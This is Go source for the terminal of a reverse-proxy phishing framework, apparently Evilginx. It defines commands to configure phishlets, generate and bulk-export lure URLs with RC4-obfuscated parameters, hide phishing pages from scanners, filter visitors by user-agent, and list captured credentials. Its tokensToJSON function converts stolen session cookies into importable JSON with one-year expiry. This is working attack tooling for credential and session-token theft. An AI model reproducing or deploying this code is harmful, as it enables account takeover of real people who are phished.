h.AddSubCommand("config", []string{"redirect_key"}, "redirect_key <name>", "change name of the redirect parameter in phishing url (phishing urls will need to be regenerated)")
|
|
h.AddSubCommand("config", []string{"verification_key"}, "verification_key <name>", "change name of the verification parameter in phishing url (phishing urls will need to be regenerated)")
|
|
h.AddSubCommand("config", []string{"verification_token"}, "verification_token <token>", "change the value of the verification token (phishing urls will need to be regenerated)")
|
|
h.AddSubCommand("config", []string{"redirect_url"}, "redirect_url <url>", "change the url where all unauthorized requests will be redirected to (phishing urls will need to be regenerated)")
|
|
|
|
h.AddCommand("proxy", "general", "manage proxy configuration", "Configures proxy which will be used to proxy the connection to remote website", LAYER_TOP,
|
|
readline.PcItem("proxy", readline.PcItem("enable"), readline.PcItem("disable"), readline.PcItem("type"), readline.PcItem("address"), readline.PcItem("port"), readline.PcItem("username"), readline.PcItem("password")))
|
|
h.AddSubCommand("proxy", nil, "", "show all configuration variables")
|
|
h.AddSubCommand("proxy", []string{"enable"}, "enable", "enable proxy")
|
|
h.AddSubCommand("proxy", []string{"disable"}, "disable", "disable proxy")
|
|
h.AddSubCommand("proxy", []string{"type"}, "type <type>", "set proxy type: http (default), https, socks5, socks5h")
|
|
h.AddSubCommand("proxy", []string{"address"}, "address <address>", "set proxy address")
|
|
h.AddSubCommand("proxy", []string{"port"}, "port <port>", "set proxy port")
|
|
h.AddSubCommand("proxy", []string{"username"}, "username <username>", "set proxy authentication username")
|
|
h.AddSubCommand("proxy", []string{"password"}, "password <password>", "set proxy authentication password")
|
|
|
|
h.AddCommand("phishlets", "general", "manage phishlets configuration", "Shows status of all available phishlets and allows to change their parameters and enabled status.", LAYER_TOP,
|
|
readline.PcItem("phishlets", readline.PcItem("hostname", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("enable", readline.PcItemDynamic(t.phishletPrefixCompleter)),
|
|
readline.PcItem("disable", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("hide", readline.PcItemDynamic(t.phishletPrefixCompleter)),
|
|
readline.PcItem("unhide", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-hosts", readline.PcItemDynamic(t.phishletPrefixCompleter))))
|
|
h.AddSubCommand("phishlets", nil, "", "show status of all available phishlets")
|
|
h.AddSubCommand("phishlets", []string{"hostname"}, "hostname <phishlet> <hostname>", "set hostname for given phishlet (e.g. this.is.not.a.phishing.site.evilsite.com)")
|
|
h.AddSubCommand("phishlets", []string{"enable"}, "enable <phishlet>", "enables phishlet and requests ssl/tls certificate if needed")
|
|
h.AddSubCommand("phishlets", []string{"disable"}, "disable <phishlet>", "disables phishlet")
|
|
h.AddSubCommand("phishlets", []string{"hide"}, "hide <phishlet>", "hides the phishing page, logging and redirecting all requests to it (good for avoiding scanners when sending out phishing links)")
|
|
h.AddSubCommand("phishlets", []string{"unhide"}, "unhide <phishlet>", "makes the phishing page available and reachable from the outside")
|
|
h.AddSubCommand("phishlets", []string{"get-url"}, "get-url <phishlet> <redirect_url>", "generates phishing url with redirection on successful authentication")
|
|
h.AddSubCommand("phishlets", []string{"get-hosts"}, "get-hosts <phishlet>", "generates entries for hosts file in order to use localhost for testing")
|
|
|
|
h.AddCommand("sessions", "general", "manage sessions and captured tokens with credentials", "Shows all captured credentials and authentication tokens. Allows to view full history of visits and delete logged sessions.", LAYER_TOP,
|
|
readline.PcItem("sessions", readline.PcItem("delete", readline.PcItem("all"))))
|
|
h.AddSubCommand("sessions", nil, "", "show history of all logged visits and captured credentials")
|
|
h.AddSubCommand("sessions", nil, "<id>", "show session details, including captured authentication tokens, if available")
|
|
h.AddSubCommand("sessions", []string{"delete"}, "delete <id>", "delete logged session with <id> (ranges with separators are allowed e.g. 1-7,10-12,15-25)")
|
|
h.AddSubCommand("sessions", []string{"delete", "all"}, "delete all", "delete all logged sessions")
|
|
|
|
h.AddCommand("lures", "general", "manage lures for generation of phishing urls", "Shows all create lures and allows to edit or delete them.", LAYER_TOP,
|
|
/* readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"),
|
|
readline.PcItem("edit", readline.PcItem("hostname"), readline.PcItem("path"), readline.PcItem("redirect_url"), readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params"), readline.PcItem("template", readline.PcItemDynamic(t.emptyPrefixCompleter, readline.PcItemDynamic(t.templatesPrefixCompleter)))),
|
|
readline.PcItem("delete", readline.PcItem("all"))))*/
|
|
readline.PcItem("lures", readline.PcItem("create", readline.PcItemDynamic(t.phishletPrefixCompleter)), readline.PcItem("get-url"),
|
|
readline.PcItem("edit", readline.PcItemDynamic(t.luresIdPrefixCompleter, readline.PcItem("hostname"), readline.PcItem("path"), readline.PcItem("redirect_url"), readline.PcItem("phishlet"), readline.PcItem("info"), readline.PcItem("og_title"), readline.PcItem("og_desc"), readline.PcItem("og_image"), readline.PcItem("og_url"), readline.PcItem("params"), readline.PcItem("ua_filter"), readline.PcItem("template", readline.PcItemDynamic(t.templatesPrefixCompleter)))),
|
|
readline.PcItem("delete", readline.PcItem("all"))))
|
|
|
|
h.AddSubCommand("lures", nil, "", "show all create lures")
|
|
h.AddSubCommand("lures", nil, "<id>", "show details of a lure with a given <id>")
|
|
h.AddSubCommand("lures", []string{"create"}, "create <phishlet>", "creates new lure for given <phishlet>")
|
|
h.AddSubCommand("lures", []string{"delete"}, "delete <id>", "deletes lure with given <id>")
|
|
h.AddSubCommand("lures", []string{"delete", "all"}, "delete all", "deletes all created lures")
|
|
h.AddSubCommand("lures", []string{"get-url"}, "get-url <id> <key1=value1> <key2=value2>", "generates a phishing url for a lure with a given <id>, with optional parameters")
|
|
h.AddSubCommand("lures", []string{"get-url"}, "get-url <id> import <params_file> export <urls_file> <text|csv|json>", "generates phishing urls, importing parameters from <import_path> file and exporting them to <export_path>")
|
|
h.AddSubCommand("lures", []string{"edit", "hostname"}, "edit <id> hostname <hostname>", "sets custom phishing <hostname> for a lure with a given <id>")
|
|
h.AddSubCommand("lures", []string{"edit", "path"}, "edit <id> path <path>", "sets custom url <path> for a lure with a given <id>")
|
|
h.AddSubCommand("lures", []string{"edit", "template"}, "edit <id> template <path>", "sets an html template <path> for a lure with a given <id>")
|
|
h.AddSubCommand("lures", []string{"edit", "ua_filter"}, "edit <id> ua_filter <regexp>", "sets a regular expression user-agent whitelist filter <regexp> for a lure with a given <id>")
|
|
h.AddSubCommand("lures", []string{"edit", "redirect_url"}, "edit <id> redirect_url <redirect_url>", "sets redirect url that user will be navigated to on successful authorization, for a lure with a given <id>")
|
|
h.AddSubCommand("lures", []string{"edit", "phishlet"}, "edit <id> phishlet <phishlet>", "change the phishlet, the lure with a given <id> applies to")
|
|
h.AddSubCommand("lures", []string{"edit", "info"}, "edit <id> info <info>", "set personal information to describe a lure with a given <id> (display only)")
|
|
h.AddSubCommand("lures", []string{"edit", "og_title"}, "edit <id> og_title <title>", "sets opengraph title that will be shown in link preview, for a lure with a given <id>")
|
|
h.AddSubCommand("lures", []string{"edit", "og_desc"}, "edit <id> og_des <title>", "sets opengraph description that will be shown in link preview, for a lure with a given <id>")
|
|
h.AddSubCommand("lures", []string{"edit", "og_image"}, "edit <id> og_image <title>", "sets opengraph image url that will be shown in link preview, for a lure with a given <id>")
|
|
h.AddSubCommand("lures", []string{"edit", "og_url"}, "edit <id> og_url <title>", "sets opengraph url that will be shown in link preview, for a lure with a given <id>")
|
|
|
|
h.AddCommand("blacklist", "general", "manage automatic blacklisting of requesting ip addresses", "Select what kind of requests should result in requesting IP addresses to be blacklisted.", LAYER_TOP,
|
|
readline.PcItem("blacklist", readline.PcItem("all"), readline.PcItem("unauth"), readline.PcItem("off")))
|
|
|
|
h.AddSubCommand("blacklist", nil, "", "show current blacklisting mode")
|
|
h.AddSubCommand("blacklist", []string{"all"}, "all", "block and blacklist ip addresses for every single request (even authorized ones!)")
|
|
h.AddSubCommand("blacklist", []string{"unauth"}, "unauth", "block and blacklist ip addresses only for unauthorized requests")
|
|
h.AddSubCommand("blacklist", []string{"off"}, "off", "never add any ip addresses to blacklist")
|
|
|
|
h.AddCommand("clear", "general", "clears the screen", "Clears the screen.", LAYER_TOP,
|
|
readline.PcItem("clear"))
|
|
|
|
t.hlp = h
|
|
}
|
|
|
|
func (t *Terminal) tokensToJSON(pl *Phishlet, tokens map[string]map[string]*database.Token) string {
|
|
type Cookie struct {
|
|
Path string `json:"path"`
|
|
Domain string `json:"domain"`
|
|
ExpirationDate int64 `json:"expirationDate"`
|
|
Value string `json:"value"`
|
|
Name string `json:"name"`
|
|
HttpOnly bool `json:"httpOnly,omitempty"`
|
|
HostOnly bool `json:"hostOnly,omitempty"`
|
|
}
|
|
|
|
var cookies []*Cookie
|
|
for domain, tmap := range tokens {
|
|
for k, v := range tmap {
|
|
c := &Cookie{
|
|
Path: v.Path,
|
|
Domain: domain,
|
|
ExpirationDate: time.Now().Add(365 * 24 * time.Hour).Unix(),
|
|
Value: v.Value,
|
|
Name: k,
|
|
HttpOnly: v.HttpOnly,
|
|
}
|
|
if domain[:1] == "." {
|
|
c.HostOnly = false
|
|
c.Domain = domain[1:]
|
|
} else {
|
|
c.HostOnly = true
|
|
}
|
|
if c.Path == "" {
|
|
c.Path = "/"
|
|
}
|
|
cookies = append(cookies, c)
|
|
}
|
|
}
|
|
|
|
json, _ := json.Marshal(cookies)
|
|
return string(json)
|
|
}
|
|
|
|
func (t *Terminal) checkStatus() {
|
|
if t.cfg.GetBaseDomain() == "" {
|
|
log.Warning("server domain not set! type: config domain <domain>")
|
|
}
|
|
if t.cfg.GetServerIP() == "" {
|
|
log.Warning("server ip not set! type: config ip <ip_address>")
|
|
}
|
|
}
|
|
|
|
func (t *Terminal) updatePhishletCertificates(site string) {
|
|
for _, s := range t.cfg.GetEnabledSites() {
|
|
if site == "" || s == site {
|
|
pl, err := t.cfg.GetPhishlet(s)
|
|
if err != nil {
|
|
log.Error("%v", err)
|
|
continue
|
|
}
|
|
if t.developer {
|
|
log.Info("developer mode is on - will use self-signed SSL/TLS certificates for phishlet '%s'", s)
|
|
} else {
|
|
log.Info("setting up certificates for phishlet '%s'...", s)
|
|
err = t.crt_db.SetupPhishletCertificate(s, pl.GetPhishHosts())
|
|
if err != nil {
|
|
log.Fatal("%v", err)
|
|
t.cfg.SetSiteDisabled(s)
|
|
} else {
|
|
log.Success("successfully set up SSL/TLS certificates for domains: %v", pl.GetPhishHosts())
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func (t *Terminal) updateLuresCertificates() {
|
|
for n, l := range t.cfg.lures {
|
|
if l.Hostname != "" {
|
|
err := t.updateHostCertificate(l.Hostname)
|
|
if err != nil {
|
|
log.Info("clearing hostname for lure %d", n)
|
|
l.Hostname = ""
|
|
err := t.cfg.SetLure(n, l)
|
|
if err != nil {
|
|
log.Error("edit: %v", err)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func (t *Terminal) updateHostCertificate(hostname string) error {
|
|
|
|
if t.developer {
|
|
log.Info("developer mode is on - will use self-signed SSL/TLS certificates for hostname '%s'", hostname)
|
|
} else {
|
|
log.Info("setting up certificates for hostname '%s'...", hostname)
|
|
err := t.crt_db.SetupHostnameCertificate(hostname)
|
|
if err != nil {
|
|
return err
|
|
} else {
|
|
log.Success("successfully set up SSL/TLS certificates for hostname: %s", hostname)
|
|
}
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func (t *Terminal) sprintPhishletStatus(site string) string {
|
|
higreen := color.New(color.FgHiGreen)
|
|
hired := color.New(color.FgHiRed)
|
|
hiblue := color.New(color.FgHiBlue)
|
|
yellow := color.New(color.FgYellow)
|
|
hiwhite := color.New(color.FgHiWhite)
|
|
n := 0
|
|
cols := []string{"phishlet", "author", "active", "status", "hostname"}
|
|
var rows [][]string
|
|
for s, _ := range t.cfg.phishlets {
|
|
if site == "" || s == site {
|
|
pl, err := t.cfg.GetPhishlet(s)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
status := hired.Sprint("disabled")
|
|
if t.cfg.IsSiteEnabled(s) {
|
|
status = higreen.Sprint("enabled")
|
|
}
|
|
hidden_status := higreen.Sprint("available")
|
|
if t.cfg.IsSiteHidden(s) {
|
|
hidden_status = hired.Sprint("hidden")
|
|
}
|
|
domain, _ := t.cfg.GetSiteDomain(s)
|
|
n += 1
|
|
|
|
rows = append(rows, []string{hiblue.Sprint(s), hiwhite.Sprint(pl.Author), status, hidden_status, yellow.Sprint(domain)})
|
|
}
|
|
}
|
|
return AsTable(cols, rows)
|
|
}
|
|
|
|
func (t *Terminal) sprintLures() string {
|
|
higreen := color.New(color.FgHiGreen)
|
|
green := color.New(color.FgGreen)
|
|
//hired := color.New(color.FgHiRed)
|
|
hiblue := color.New(color.FgHiBlue)
|
|
yellow := color.New(color.FgYellow)
|
|
cyan := color.New(color.FgCyan)
|
|
hcyan := color.New(color.FgHiCyan)
|
|
white := color.New(color.FgHiWhite)
|
|
//n := 0
|
|
cols := []string{"id", "phishlet", "hostname", "path", "template", "ua_filter", "redirect_url", "og"}
|
|
var rows [][]string
|
|
for n, l := range t.cfg.lures {
|
|
var og string
|
|
if l.OgTitle != "" {
|
|
og += higreen.Sprint("x")
|
|
} else {
|
|
og += "-"
|
|
}
|
|
if l.OgDescription != "" {
|
|
og += higreen.Sprint("x")
|
|
} else {
|
|
og += "-"
|
|
}
|
|
if l.OgImageUrl != "" {
|
|
og += higreen.Sprint("x")
|
|
} else {
|
|
og += "-"
|
|
}
|
|
if l.OgUrl != "" {
|
|
og += higreen.Sprint("x")
|
|
} else {
|
|
og += "-"
|
|
}
|
|
rows = append(rows, []string{strconv.Itoa(n), hiblue.Sprint(l.Phishlet), cyan.Sprint(l.Hostname), hcyan.Sprint(l.Path), white.Sprint(l.Template), green.Sprint(l.UserAgentFilter), yellow.Sprint(l.RedirectUrl), og})
|
|
}
|
|
return AsTable(cols, rows)
|
|
}
|
|
|
|
func (t *Terminal) phishletPrefixCompleter(args string) []string {
|
|
return t.cfg.GetPhishletNames()
|
|
}
|
|
|
|
func (t *Terminal) templatesPrefixCompleter(args string) []string {
|
|
dir := t.cfg.GetTemplatesDir()
|
|
|
|
files, err := ioutil.ReadDir(dir)
|
|
if err != nil {
|
|
return []string{}
|
|
}
|
|
var ret []string
|
|
for _, f := range files {
|
|
if strings.HasSuffix(f.Name(), ".html") || strings.HasSuffix(f.Name(), ".htm") {
|
|
name := f.Name()
|
|
if strings.Contains(name, " ") {
|
|
name = "\"" + name + "\""
|
|
}
|
|
ret = append(ret, name)
|
|
}
|
|
}
|
|
return ret
|
|
}
|
|
|
|
func (t *Terminal) luresIdPrefixCompleter(args string) []string {
|
|
var ret []string
|
|
for n, _ := range t.cfg.lures {
|
|
ret = append(ret, strconv.Itoa(n))
|
|
}
|
|
return ret
|
|
}
|
|
|
|
func (t *Terminal) importParamsFromFile(base_url string, path string) ([]string, []map[string]string, error) {
|
|
var ret []string
|
|
var ret_params []map[string]string
|
|
|
|
f, err := os.OpenFile(path, os.O_RDONLY, 0644)
|
|
if err != nil {
|
|
return ret, ret_params, err
|
|
}
|
|
defer f.Close()
|
|
|
|
var format string = "text"
|
|
if filepath.Ext(path) == ".csv" {
|
|
format = "csv"
|
|
} else if filepath.Ext(path) == ".json" {
|
|
format = "json"
|
|
}
|
|
|
|
log.Info("importing parameters file as: %s", format)
|
|
|
|
switch format {
|
|
case "text":
|
|
fs := bufio.NewScanner(f)
|
|
fs.Split(bufio.ScanLines)
|
|
|
|
n := 0
|
|
for fs.Scan() {
|
|
n += 1
|
|
l := fs.Text()
|
|
// remove comments
|
|
if n := strings.Index(l, ";"); n > -1 {
|
|
l = l[:n]
|
|
}
|
|
l = strings.Trim(l, " ")
|
|
|
|
if len(l) > 0 {
|
|
args, err := parser.Parse(l)
|
|
if err != nil {
|
|
log.Error("syntax error at line %d: [%s] %v", n, l, err)
|
|
continue
|
|
}
|
|
|
|
params := url.Values{}
|
|
map_params := make(map[string]string)
|
|
for _, val := range args {
|
|
sp := strings.Index(val, "=")
|
|
if sp == -1 {
|
|
log.Error("invalid parameter syntax at line %d: [%s]", n, val)
|
|
continue
|
|
}
|
|
k := val[:sp]
|
|
v := val[sp+1:]
|
|
|
|
params.Add(k, v)
|
|
map_params[k] = v
|
|
}
|
|
|
|
if len(params) > 0 {
|
|
ret = append(ret, t.createPhishUrl(base_url, ¶ms))
|
|
ret_params = append(ret_params, map_params)
|
|
}
|
|
}
|
|
}
|
|
case "csv":
|
|
r := csv.NewReader(bufio.NewReader(f))
|
|
|
|
param_names, err := r.Read()
|
|
if err != nil {
|
|
return ret, ret_params, err
|
|
}
|
|
|
|
var params []string
|
|
for params, err = r.Read(); err == nil; params, err = r.Read() {
|
|
if len(params) != len(param_names) {
|
|
log.Error("number of csv values do not match number of keys: %v", params)
|
|
continue
|
|
}
|
|
|
|
item := url.Values{}
|
|
map_params := make(map[string]string)
|
|
for n, param := range params {
|
|
item.Add(param_names[n], param)
|
|
map_params[param_names[n]] = param
|
|
}
|
|
if len(item) > 0 {
|
|
ret = append(ret, t.createPhishUrl(base_url, &item))
|
|
ret_params = append(ret_params, map_params)
|
|
}
|
|
}
|
|
if err != io.EOF {
|
|
return ret, ret_params, err
|
|
}
|
|
case "json":
|
|
data, err := ioutil.ReadAll(bufio.NewReader(f))
|
|
if err != nil {
|
|
return ret, ret_params, err
|
|
}
|
|
|
|
var params_json []map[string]interface{}
|
|
|
|
err = json.Unmarshal(data, ¶ms_json)
|
|
if err != nil {
|
|
return ret, ret_params, err
|
|
}
|
|
|
|
for _, json_params := range params_json {
|
|
item := url.Values{}
|
|
map_params := make(map[string]string)
|
|
for k, v := range json_params {
|
|
if val, ok := v.(string); ok {
|
|
item.Add(k, val)
|
|
map_params[k] = val
|
|
} else {
|
|
log.Error("json parameter '%s' value must be of type string", k)
|
|
}
|
|
}
|
|
if len(item) > 0 {
|
|
ret = append(ret, t.createPhishUrl(base_url, &item))
|
|
ret_params = append(ret_params, map_params)
|
|
}
|
|
}
|
|
|
|
/*
|
|
r := json.NewDecoder(bufio.NewReader(f))
|
|
|
|
t, err := r.Token()
|
|
if err != nil {
|
|
return ret, ret_params, err
|
|
}
|
|
if s, ok := t.(string); ok && s == "[" {
|
|
for r.More() {
|
|
t, err := r.Token()
|
|
if err != nil {
|
|
return ret, ret_params, err
|
|
}
|
|
|
|
if s, ok := t.(string); ok && s == "{" {
|
|
for r.More() {
|
|
t, err := r.Token()
|
|
if err != nil {
|
|
return ret, ret_params, err
|
|
}
|
|
|
|
|
|
}
|
|
}
|
|
}
|
|
} else {
|
|
return ret, ret_params, fmt.Errorf("array of parameters not found")
|
|
}*/
|
|
}
|
|
return ret, ret_params, nil
|
|
}
|
|
|
|
func (t *Terminal) exportPhishUrls(export_path string, phish_urls []string, phish_params []map[string]string, format string) error {
|
|
if len(phish_urls) != len(phish_params) {
|
|
return fmt.Errorf("phishing urls and phishing parameters count do not match")
|
|
}
|
|
if !stringExists(format, []string{"text", "csv", "json"}) {
|
|
return fmt.Errorf("export format can only be 'text', 'csv' or 'json'")
|
|
}
|
|
|
|
f, err := os.OpenFile(export_path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer f.Close()
|
|
|
|
if format == "text" {
|
|
for n, phish_url := range phish_urls {
|
|
var params string
|
|
m := 0
|
|
params_row := phish_params[n]
|
|
for k, v := range params_row {
|
|
if m > 0 {
|
|
params += " "
|
|
}
|
|
params += fmt.Sprintf("%s=\"%s\"", k, v)
|
|
m += 1
|
|
}
|
|
|
|
_, err := f.WriteString(phish_url + " ; " + params + "\n")
|
|
if err != nil {
|
|
return err
|
|
}
|
|
}
|
|
} else if format == "csv" {
|
|
var data [][]string
|
|
|
|
w := csv.NewWriter(bufio.NewWriter(f))
|
|
|
|
var cols []string
|
|
var param_names []string
|
|
cols = append(cols, "url")
|
|
for _, params_row := range phish_params {
|
|
for k, _ := range params_row {
|
|
if !stringExists(k, param_names) {
|
|
cols = append(cols, k)
|
|
param_names = append(param_names, k)
|
|
}
|
|
}
|
|
}
|
|
data = append(data, cols)
|
|
|
|
for n, phish_url := range phish_urls {
|
|
params := phish_params[n]
|
|
|
|
var vals []string
|
|
vals = append(vals, phish_url)
|
|
|
|
for _, k := range param_names {
|
|
vals = append(vals, params[k])
|
|
}
|
|
|
|
data = append(data, vals)
|
|
}
|
|
|
|
err := w.WriteAll(data)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
} else if format == "json" {
|
|
type UrlItem struct {
|
|
PhishUrl string `json:"url"`
|
|
Params map[string]string `json:"params"`
|
|
}
|
|
|
|
var items []UrlItem
|
|
|
|
for n, phish_url := range phish_urls {
|
|
params := phish_params[n]
|
|
|
|
item := UrlItem{
|
|
PhishUrl: phish_url,
|
|
Params: params,
|
|
}
|
|
|
|
items = append(items, item)
|
|
}
|
|
|
|
data, err := json.MarshalIndent(items, "", "\t")
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
_, err = f.WriteString(string(data))
|
|
if err != nil {
|
|
return err
|
|
}
|
|
}
|
|
|
|
return nil
|
|
}
|
|
|
|
func (t *Terminal) createPhishUrl(base_url string, params *url.Values) string {
|
|
var ret string = base_url
|
|
if len(*params) > 0 {
|
|
key_arg := GenRandomString(rand.Intn(3) + 1)
|
|
|
|
enc_key := GenRandomAlphanumString(8)
|
|
dec_params := params.Encode()
|
|
|
|
var crc byte
|
|
for _, c := range dec_params {
|
|
crc += byte(c)
|
|
}
|
|
|
|
c, _ := rc4.NewCipher([]byte(enc_key))
|
|
enc_params := make([]byte, len(dec_params)+1)
|
|
c.XORKeyStream(enc_params[1:], []byte(dec_params))
|
|
enc_params[0] = crc
|
|
|
|
key_val := enc_key + base64.RawURLEncoding.EncodeToString([]byte(enc_params))
|
|
ret += "?" + key_arg + "=" + key_val
|
|
}
|
|
return ret
|
|
}
|
|
|
|
func (t *Terminal) sprintVar(k string, v string) string {
|
|
vc := color.New(color.FgYellow)
|
|
return k + ": " + vc.Sprint(v)
|
|
}
|
|
|
|
func (t *Terminal) filterInput(r rune) (rune, bool) {
|
|
switch r {
|
|
// block CtrlZ feature
|
|
case readline.CharCtrlZ:
|
|
return r, false
|
|
}
|
|
return r, true
|
|
}
|